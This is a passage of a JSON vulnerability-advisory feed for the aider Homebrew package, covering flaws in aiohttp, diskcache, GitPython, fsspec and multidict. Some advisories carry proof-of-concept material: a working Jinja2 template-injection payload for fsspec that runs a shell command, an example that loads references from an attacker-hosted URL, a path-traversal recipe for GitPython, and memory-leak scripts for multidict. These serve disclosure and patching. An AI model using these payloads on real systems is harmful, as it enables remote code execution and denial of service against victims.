@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS through chunked messages","details":"### Summary\n\nHandling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.\n\n### Impact\n\nIf an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712\nPatch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69230","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-fh55-r93g-j68g","CVE-2025-69230","PYSEC-2026-1105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP Vulnerable to Cookie Parser Warning Storm","details":"### Summary\nReading multiple invalid cookies can lead to a logging storm.\n\n### Impact\nIf the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69230"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69872","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-w8v5-vhqr-4h9v","CVE-2025-69872","PYSEC-2026-2447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"diskcache","resource_purl":"pkg:pypi/diskcache@5.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"diskcache","subject_version":"5.6.3","key":"pkg:pypi/diskcache@5.6.3","resource":"diskcache"}]},"summary":"DiskCache has unsafe pickle deserialization","details":"DiskCache (python-diskcache) through 5.6.3 uses Python pickle for serialization by default. An attacker with write access to the cache directory can achieve arbitrary code execution when a victim application reads from the cache.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69872"},{"type":"WEB","url":"https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69872-DiskCache-Pickle-Deserialization.md"},{"type":"PACKAGE","url":"https://github.com/grantjenks/python-diskcache"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-100689","published":"2026-10-01T10:18:30Z","modified":"2026-10-01T10:18:30Z","upstream":["GHSA-59cr-6r3x-644w","CVE-2026-100689"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.62","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython submodule update path traversal can write outside the repository","details":"**Affected:** `GitPython` **3.1.61** (latest release) and `main` — `git/objects/submodule/base.py`. `git diff 3.1.61 origin/main -- git/objects/submodule/` is empty, so both are identical here.\n\n---\n\n## The gap\n\nThe fix for `GHSA-hmq2-w58f-27jc` added `Submodule._validated_name()` and wired it into `update()` and five siblings, closing the `.gitmodules` **name** → `.git/modules/<name>` traversal. The other attacker-controlled `.gitmodules` field, **`path`**, is read raw:\n\n```python\n# git/objects/submodule/base.py:172-177\ndef _set_cache_(self, attr):\n    if attr in (\"path\", \"_url\", \"_branch_path\"):\n        reader = self.config_reader()\n        self.path = reader.get(\"path\")          # raw .gitmodules value\n```\n\nand GitPython's own containment guard is applied in only two of the places that consume it:\n\n```\n400: def _to_relative_path(cls, parent_repo, path)      # the guard (abspath + commonpath containment)\n542:     path = cls._to_relative_path(repo, path)        # add()   — guarded\n1041:    module_checkout_path = self._to_relative_path(self.repo, module_path)   # move() — guarded\n```\n\n`update()` validates only the name and then uses the path-derived absolute location directly:\n\n```\n788:  self._validated_name(self.name)                    # NAME only\n801:  checkout_module_abspath = self.abspath             # derived from self.path — unguarded\n821:  os.makedirs(checkout_module_abspath, exist_ok=True)\n```\n\nSo `path = ../../../tmp/escaped` in an attacker-authored `.gitmodules` selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what `force_remove` hands to `shutil.rmtree`.\n\nThe asymmetry is the argument: this is not a missing concept — the project wrote `_to_relative_path()` precisely for this, and `add()`/`move()` use it. `update()` does not.\n\n## Honest limits (please read before rating)\n\n- **The most common flow is not affected.** `Repo.clone_from(...)` → `repo.submodules` → `sm.update(init=True)` re-derives `path` from a canonical tree lookup, and real git refuses to check out a tree containing a `..` component, so an evil `.gitmodules` never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a **non-HEAD commit** (a historical-commit API such as `submodule_update(previous_commit=...)`).\n- **The researcher did not build that end-to-end trigger.** The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in `update()`, and the unguarded `abspath` → `os.makedirs()` flow at 3.1.61 == `main`.\n\n## Suggested fix\n\nApply the guard the project already has, wherever the path is consumed:\n\n```python\n# in update(), before deriving abspath (and in any other consumer of self.path):\ncheckout_rel = self._to_relative_path(self.repo, self.path)   # raises if it escapes the working tree\n```\n\nBetter still, validate at the boundary: reject a `.gitmodules` entry whose `path` is absolute or contains a `..` component when the section is first read in `_set_cache_()`/`iter_items()`, so no consumer can be added later without the check. A regression test with `path = ../escaped` alongside the existing `name` test would pin both fields.\n\n## Prior art checked\n\n`GHSA-hmq2-w58f-27jc` (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the `path` field or `_to_relative_path`. Searched issues and PRs for `_to_relative_path`, `gitmodules path` and `submodule traversal`: no report of this.\n\n## Credit\n\n**kta1kri**.\n\n\n---\n\n## Appendix — `EVIDENCE_gitpython_path_unguarded_20260901.txt` (inlined; advisories accept no attachments)\n\n```text\n=== EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded ===\nMon Aug 31 18:45:22 UTC 2026\n\n--- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty ---\n\n--- the containment guard GitPython owns, and its only two call sites ---\n33:    _to_relative_path,\n400:    def _to_relative_path(cls, parent_repo: \"Repo\", path: PathLike) -> PathLike:\n407:            path = _to_relative_path(parent_repo.working_tree_dir, path)\n542:        path = cls._to_relative_path(repo, path)\n1041:        module_checkout_path = self._to_relative_path(self.repo, module_path)\n\n--- the parent fix (_validated_name) call sites: it validates the NAME ---\n309:    def _validated_name(cls, name: str) -> str:\n321:        name = cls._validated_name(name)\n541:        cls._validated_name(name)\n788:            self._validated_name(self.name)\n1040:        self._validated_name(self.name)\n1181:        self._validated_name(self.name)\n1439:        self._validated_name(self.name)\n1440:        self._validated_name(new_name)\n1489:        self._validated_name(self.name)\n\n--- update(): name validated, path not; abspath -> os.makedirs ---\n\n        try:\n            self._validated_name(self.name)\n\n            # ENSURE REPO IS PRESENT AND UP-TO-DATE\n                # END early abort if init is not allowed\n\n                checkout_module_abspath = self.abspath\n                module_abspath = self._module_abspath(self.repo, self.path, self.name)\n\n                # ``git submodule deinit`` leaves the repository in\n                # ``.git/modules`` and empties the checkout. Reconnect that retained\n                # repository instead of trying to clone over it.\n                if not dry_run and osp.isdir(module_abspath):\n                    try:\n                        git.Repo(module_abspath)\n                    except InvalidGitRepositoryError:\n                        pass\n                    else:\n                        if osp.lexists(checkout_module_abspath) and (\n                            osp.islink(checkout_module_abspath)\n                            or not osp.isdir(checkout_module_abspath)\n                            or os.listdir(checkout_module_abspath)\n                        ):\n                            raise OSError(\n                                \"Module directory at %r does already exist and is non-empty\" % checkout_module_abspath\n                            )\n                        os.makedirs(checkout_module_abspath, exist_ok=True)\n                        self._write_git_file_and_module_config(checkout_module_abspath, module_abspath)\n                        mrepo = git.Repo(checkout_module_abspath)\n\n--- where self.path comes from (raw .gitmodules value) ---\n    def _set_cache_(self, attr: str) -> None:\n        if attr in (\"path\", \"_url\", \"_branch_path\"):\n            reader: SectionConstraint = self.config_reader()\n            # Default submodule values.\n            try:\n                self.path = reader.get(\"path\")\n            except cp.NoSectionError as e:\n```","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-59cr-6r3x-644w"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2225"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1ed0ebc2f2e74d979cdc367a4864a7731fdcc093"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-10175","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["CVE-2026-10175","GHSA-7w7m-v5vp-w699","PYSEC-2026-2335"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/aider-ai/aider","subject_version":"0.86.2","key":"https://github.com/aider-ai/aider"},{"strategy":"registry","ecosystem":"PyPI","name":"aider-chat","subject_version":"0.86.2","key":"pkg:pypi/aider-chat@0.86.2"}]},"summary":"Aider-AI Aider Architect Mode auth.py editor_coder.run code injection","details":"A security flaw has been discovered in Aider-AI Aider 0.86.3. Affected by this vulnerability is the function editor_coder.run of the file auth.py of the component Architect Mode. Performing a manipulation results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/Aider-AI/aider/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/10xxx/CVE-2026-10175.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10175"},{"type":"ADVISORY","url":"https://vuldb.com/cve/CVE-2026-10175"},{"type":"ADVISORY","url":"https://vuldb.com/submit/819909"},{"type":"ADVISORY","url":"https://vuldb.com/vuln/367456"},{"type":"REPORT","url":"https://github.com/Aider-AI/aider/issues/5058"},{"type":"REPORT","url":"https://vuldb.com/vuln/367456/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-10177","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["CVE-2026-10177","GHSA-hchg-qm84-cj9p","PYSEC-2026-2336"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/aider-ai/aider","subject_version":"0.86.2","key":"https://github.com/aider-ai/aider"},{"strategy":"registry","ecosystem":"PyPI","name":"aider-chat","subject_version":"0.86.2","key":"pkg:pypi/aider-chat@0.86.2"}]},"summary":"Aider-AI Aider AWS EC2 Metadata Endpoint api_docs.py requests.get server-side request forgery","details":"A security vulnerability has been detected in Aider-AI Aider 0.86.3. This affects the function requests.get of the file api_docs.py of the component AWS EC2 Metadata Endpoint. The manipulation leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. It is suggested to install a patch to address this issue. The pull request to fix this issue awaits acceptance.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/Aider-AI/aider/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/10xxx/CVE-2026-10177.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10177"},{"type":"ADVISORY","url":"https://vuldb.com/cve/CVE-2026-10177"},{"type":"ADVISORY","url":"https://vuldb.com/submit/819911"},{"type":"ADVISORY","url":"https://vuldb.com/vuln/367458"},{"type":"REPORT","url":"https://github.com/Aider-AI/aider/issues/5075"},{"type":"REPORT","url":"https://vuldb.com/vuln/367458/cti"},{"type":"FIX","url":"https://github.com/Aider-AI/aider/pull/5137"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-104851","published":"2026-10-06T18:54:28Z","modified":"2026-10-16T09:12:25Z","upstream":["GHSA-27vj-qcqg-25rc","CVE-2026-104851","PYSEC-2026-4217"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2026.6.0","resource":"fsspec","resource_purl":"pkg:pypi/fsspec@2026.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"fsspec","subject_version":"2026.2.0","key":"pkg:pypi/fsspec@2026.2.0","resource":"fsspec"}]},"summary":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","details":"### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document — typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` — achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # <- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # <- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # <- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # <- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # <- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" — there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104851"},{"type":"WEB","url":"https://github.com/fsspec/filesystem_spec/pull/2029"},{"type":"WEB","url":"https://github.com/fsspec/filesystem_spec/pull/2039"},{"type":"WEB","url":"https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"},{"type":"WEB","url":"https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"},{"type":"PACKAGE","url":"https://github.com/fsspec/filesystem_spec"},{"type":"WEB","url":"https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-104874","published":"2026-10-06T18:54:29Z","modified":"2026-10-16T09:12:25Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874","PYSEC-2026-4244"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@6.7.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"6.7.1","key":"pkg:pypi/multidict@6.7.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  